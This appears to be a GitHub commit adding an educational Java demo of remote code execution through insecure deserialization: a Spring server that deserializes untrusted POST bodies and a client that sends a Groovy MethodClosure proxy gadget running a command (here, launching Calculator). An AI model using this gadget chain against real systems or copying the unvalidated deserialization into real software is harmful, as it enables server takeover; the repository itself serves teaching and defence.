Skip to content

Commit 287565f

Browse files
committed
Demo is working and basic blog written
1 parent 27a33ef commit 287565f

File tree

9 files changed

+658
-1
lines changed

9 files changed

+658
-1
lines changed

README.md

+31-1
Original file line numberDiff line numberDiff line change
@@ -1 +1,31 @@
1-
# java_security
1+
# Remote Code Execution for Java Developers
2+
3+
NOTE: This is an educational repository with demo code. This code is NOT meant for production or deploying.
4+
5+
Open `blog.md` for the writeup associated with this repo.
6+
7+
###Running the Demo
8+
9+
Running the server followed by running the client will result in the server being exploited.
10+
Note the code here only uses Java 8, but this example runs just fine on Java 11 - albeit with illegal reflective access warnings.
11+
Change the `COMMAND` string in `Client.java` to be the command you want the server to execute.
12+
It is currently set to the location of the calculator binary on MacOS.
13+
14+
Server:
15+
```shell
16+
cd $REPO_NAME/server
17+
mvn clean compile package
18+
java -jar ./target/server-0.0.1-SNAPSHOT.jar
19+
```
20+
21+
Client:
22+
```shell
23+
cd $REPO_NAME/client
24+
mvn clean compile package
25+
java -jar ./target/client-0.0.1-SNAPSHOT.jar
26+
```
27+
28+
Verify the server started calculator:
29+
```shell
30+
pstree -s "Calculator" | cat
31+
```

blog.md

+374
Large diffs are not rendered by default.

client/pom.xml

+50
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
6+
<modelVersion>4.0.0</modelVersion>
7+
8+
<groupId>com.cisco.amp</groupId>
9+
<artifactId>client</artifactId>
10+
<packaging>jar</packaging>
11+
<version>0.0.1-SNAPSHOT</version>
12+
13+
<properties>
14+
<maven.compiler.target>1.8</maven.compiler.target>
15+
<maven.compiler.source>1.8</maven.compiler.source>
16+
</properties>
17+
18+
<parent>
19+
<groupId>org.springframework.boot</groupId>
20+
<artifactId>spring-boot-starter-parent</artifactId>
21+
<version>2.1.3.RELEASE</version>
22+
</parent>
23+
24+
<dependencies>
25+
<dependency>
26+
<groupId>org.springframework.boot</groupId>
27+
<artifactId>spring-boot-starter-web</artifactId>
28+
</dependency>
29+
<dependency>
30+
<groupId>commons-io</groupId>
31+
<artifactId>commons-io</artifactId>
32+
<version>2.6</version>
33+
</dependency>
34+
<dependency>
35+
<groupId>org.codehaus.groovy</groupId>
36+
<artifactId>groovy-all</artifactId>
37+
<version>2.4.0</version>
38+
</dependency>
39+
</dependencies>
40+
41+
<build>
42+
<plugins>
43+
<plugin>
44+
<groupId>org.springframework.boot</groupId>
45+
<artifactId>spring-boot-maven-plugin</artifactId>
46+
</plugin>
47+
</plugins>
48+
</build>
49+
50+
</project>
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
package com.cisco.amp.client;
2+
3+
import com.cisco.amp.server.Submission;
4+
import org.codehaus.groovy.runtime.ConvertedClosure;
5+
import org.codehaus.groovy.runtime.MethodClosure;
6+
import org.springframework.http.HttpEntity;
7+
import org.springframework.http.ResponseEntity;
8+
import org.springframework.web.client.RestTemplate;
9+
10+
import java.io.ByteArrayOutputStream;
11+
import java.io.IOException;
12+
import java.io.ObjectOutputStream;
13+
import java.lang.reflect.Proxy;
14+
import java.util.ArrayList;
15+
import java.util.Collection;
16+
17+
public class Client {
18+
19+
//Change this string to be the relevant calculator on your system or whatever you like
20+
private static final String COMMAND = "/Applications/Calculator.app/Contents/MacOS/Calculator";
21+
22+
private static Collection<String> makeNiceCollection() {
23+
Collection<String> niceCollection = new ArrayList<>();
24+
niceCollection.add("Hello World!");
25+
return niceCollection;
26+
}
27+
28+
private static Collection<String> makeExploitCollection() {
29+
30+
//Create a mock collection with the reflection api that only implements iterator which we know will be called on the server
31+
32+
MethodClosure methodClosure = new MethodClosure(COMMAND, "execute");
33+
ConvertedClosure iteratorHandler = new ConvertedClosure(methodClosure, "iterator");
34+
35+
Collection exploitCollection = (Collection) Proxy.newProxyInstance(
36+
Client.class.getClassLoader(), new Class<?>[]{Collection.class}, iteratorHandler
37+
);
38+
39+
return exploitCollection;
40+
}
41+
42+
public static void main(String[] args) throws IOException {
43+
//use makeNiceCollection or makeExploitCollection for normal or exploit operation respectively
44+
Submission submission = new Submission(makeExploitCollection());
45+
46+
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
47+
new ObjectOutputStream(byteArrayOutputStream).writeObject(submission);
48+
byte[] bytes = byteArrayOutputStream.toByteArray();
49+
50+
HttpEntity<byte[]> entity = new HttpEntity<>(bytes);
51+
RestTemplate restTemplate = new RestTemplate();
52+
ResponseEntity<String> response = restTemplate.postForEntity("http://localhost:8080/submit", entity, String.class);
53+
System.out.println(response.getBody());
54+
}
55+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
package com.cisco.amp.server;
2+
3+
import java.io.Serializable;
4+
import java.util.Collection;
5+
6+
public class Submission implements Serializable {
7+
8+
private final Collection<String> values;
9+
10+
public Submission(Collection<String> values) {
11+
this.values = values;
12+
}
13+
14+
//Print out the collection - one entry on each line
15+
@Override
16+
public String toString() {
17+
StringBuilder sb = new StringBuilder();
18+
19+
//This is where the exploitation happens
20+
//Collection::iterator gets called for the for loop to iterate over the values
21+
//This is done without properly validating the user input first
22+
for (String entry : values) {
23+
sb.append(entry);
24+
sb.append("\n");
25+
}
26+
27+
return sb.toString();
28+
}
29+
}

server/pom.xml

+50
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
6+
<modelVersion>4.0.0</modelVersion>
7+
8+
<groupId>com.cisco.amp</groupId>
9+
<artifactId>server</artifactId>
10+
<packaging>jar</packaging>
11+
<version>0.0.1-SNAPSHOT</version>
12+
13+
<properties>
14+
<maven.compiler.target>1.8</maven.compiler.target>
15+
<maven.compiler.source>1.8</maven.compiler.source>
16+
</properties>
17+
18+
<parent>
19+
<groupId>org.springframework.boot</groupId>
20+
<artifactId>spring-boot-starter-parent</artifactId>
21+
<version>2.1.3.RELEASE</version>
22+
</parent>
23+
24+
<dependencies>
25+
<dependency>
26+
<groupId>org.springframework.boot</groupId>
27+
<artifactId>spring-boot-starter-web</artifactId>
28+
</dependency>
29+
<dependency>
30+
<groupId>commons-io</groupId>
31+
<artifactId>commons-io</artifactId>
32+
<version>2.6</version>
33+
</dependency>
34+
<dependency>
35+
<groupId>org.codehaus.groovy</groupId>
36+
<artifactId>groovy-all</artifactId>
37+
<version>2.4.0</version>
38+
</dependency>
39+
</dependencies>
40+
41+
<build>
42+
<plugins>
43+
<plugin>
44+
<groupId>org.springframework.boot</groupId>
45+
<artifactId>spring-boot-maven-plugin</artifactId>
46+
</plugin>
47+
</plugins>
48+
</build>
49+
50+
</project>
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
package com.cisco.amp.server;
2+
3+
import org.springframework.boot.SpringApplication;
4+
import org.springframework.boot.autoconfigure.SpringBootApplication;
5+
6+
@SpringBootApplication
7+
public class Server {
8+
9+
public static void main(String[] args) {
10+
SpringApplication.run(Server.class, args);
11+
}
12+
13+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
package com.cisco.amp.server;
2+
3+
import java.io.Serializable;
4+
import java.util.Collection;
5+
6+
public class Submission implements Serializable {
7+
8+
private final Collection<String> values;
9+
10+
public Submission(Collection<String> values) {
11+
this.values = values;
12+
}
13+
14+
//Print out the collection - one entry on each line
15+
@Override
16+
public String toString() {
17+
StringBuilder sb = new StringBuilder();
18+
19+
//This is where the exploitation happens
20+
//Collection::iterator gets called for the for loop to iterate over the values
21+
//This is done without properly validating the user input first
22+
for (String entry : values) {
23+
sb.append(entry);
24+
sb.append("\n");
25+
}
26+
27+
return sb.toString();
28+
}
29+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
package com.cisco.amp.server;
2+
3+
import org.apache.commons.io.IOUtils;
4+
import org.springframework.web.bind.annotation.PostMapping;
5+
import org.springframework.web.bind.annotation.RestController;
6+
7+
import javax.servlet.http.HttpServletRequest;
8+
import java.io.ByteArrayInputStream;
9+
import java.io.IOException;
10+
import java.io.ObjectInputStream;
11+
12+
@RestController
13+
public class SubmissionController {
14+
15+
16+
@PostMapping("/submit")
17+
public String submit(HttpServletRequest requestEntity) throws IOException, ClassNotFoundException {
18+
19+
//extract the bytes and deserialize them
20+
byte[] bytes = IOUtils.toByteArray(requestEntity.getInputStream());
21+
ObjectInputStream stream = new ObjectInputStream(new ByteArrayInputStream(bytes));
22+
Submission submission = (Submission) stream.readObject();
23+
24+
return submission.toString();
25+
}
26+
27+
}

0 commit comments

Comments
 (0)